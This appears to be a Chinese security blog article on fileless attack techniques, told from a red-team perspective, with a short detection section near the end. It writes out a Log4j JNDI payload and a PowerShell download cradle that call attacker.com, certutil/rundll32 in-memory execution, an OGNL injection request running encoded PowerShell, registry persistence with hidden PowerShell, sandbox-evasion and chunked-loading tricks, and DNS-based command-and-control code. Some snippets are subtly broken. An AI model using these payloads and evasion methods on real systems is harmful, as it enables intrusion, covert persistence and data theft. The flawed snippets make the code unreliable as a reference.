无文件攻击(Fileless Attack)作为一种高级威胁技术,近年来在渗透测试和红队行动中展现出惊人的隐蔽性和杀伤力。与传统恶意软件不同,它不依赖可执行文件落地,而是直接利用系统内置工具和内存驻留技术实施攻击。我在去年的一次企业安全评估中,曾亲眼见证攻击者仅凭PowerShell和WMI就完成了从初始入侵到横向移动的全过程,全程未触发任何文件写入告警。
这种攻击方式最早可追溯到2014年的Kovter木马,但真正引起业界广泛关注是在2017年Equifax数据泄露事件中,攻击者通过利用Apache Struts漏洞配合内存注入技术,窃取了1.47亿用户的敏感数据。现代无文件攻击通常呈现三个典型特征:
在Web渗透场景中,攻击者通常通过以下路径实现无文件入侵:
以Log4j漏洞利用为例,攻击者可以构造如下载荷直接加载远程类:
java复制${jndi:ldap://attacker.com/Exploit}
这个请求会触发JNDI查找,从攻击者控制的LDAP服务器加载恶意类到受害服务器内存,全程无需文件落地。
实现持久化内存驻留的常见方法包括:
| 技术 | 实现原理 | 检测难点 |
|---|---|---|
| PowerShell反射加载 | 通过[Reflection.Assembly]::Load | 无磁盘I/O,日志缺失 |
| COM劫持 | 修改CLSID指向恶意脚本 | 依赖合法COM组件签名 |
| WMI事件订阅 | 创建__EventFilter实现持久化 | 需要深度解析MOF文件 |
| 计划任务伪装 | 利用XML触发器执行内存载荷 | 与正常任务行为高度相似 |
我曾遇到一个巧妙利用certutil的案例:
powershell复制certutil -decode payload.b64 payload.dll
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";eval(Get-Content payload.dll)
攻击者将DLL经过base64编码伪装成证书文件,通过certutil解码后,利用mshtml的JS引擎直接在内存中执行。
现代EDR/XDR产品普遍采用动态行为分析,传统静态免杀已不再有效。我们通过以下方法实现动态免杀:
代码分块加载:
powershell复制$chunks = @('$a=','[Net.','WebClien','t]::Ne','w()')
$payload = -join ($chunks | Get-Random -Count 5)
iex $payload
这种技术使得每个代码片段都符合合法应用的行为特征,只有组合执行时才展现恶意行为。
环境感知触发:
csharp复制if(Get-WmiObject Win32_ComputerSystem | Where Model -notmatch "VMware"){
// 恶意代码
}
通过检测沙箱/虚拟机特征,确保只在真实环境执行攻击载荷。
Windows系统内置工具能构成完整的攻击链:
powershell复制(New-Object Net.WebClient).DownloadString('http://attacker.com/payload')
cmd复制msiexec /q /i "javascript:alert(1)"
reg复制reg add HKCU\Environment /v Update /t REG_SZ /d "powershell -nop -w hidden -c iex([System.Text.Encoding]::ASCII..."
基于ATT&CK框架构建多层检测体系:
内存检测:
行为监控:
yaml复制监控策略:
- 父进程异常: svchost.exe启动PowerShell
- 命令特征: 包含"-nop -w hidden -enc"等参数
- 网络行为: 内存中的PE文件发起HTTP请求
powershell复制Set-RuleOption -FilePath AppLocker.xml -Option "Enforce Rules"
xml复制<EventFiltering>
<PowerShell>
<ScriptBlockLogging Enable="true"/>
</PowerShell>
</EventFiltering>
在一次金融行业红队行动中,我们通过以下步骤实现无文件渗透:
http复制POST /pages/doenterpagevariables.action HTTP/1.1
...
content=%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22powershell%20-enc%20JABz%20%3D%20...%22%29%7D
powershell复制[System.Reflection.Assembly]::Load([Convert]::FromBase64String($encoded))
[Namespace.Class]::Main()
csharp复制var query = $"{(DateTime.Now.Ticks % 1000)}.attacker.com";
var ip = Dns.GetHostAddresses(query)[0];
var data = BitConverter.ToInt32(ip.GetAddressBytes(), 0);
排查时发现的关键线索:
防御要点:建议部署能关联分析进程树、命令行参数和网络行为的EDR解决方案,对内存操作行为建立基线模型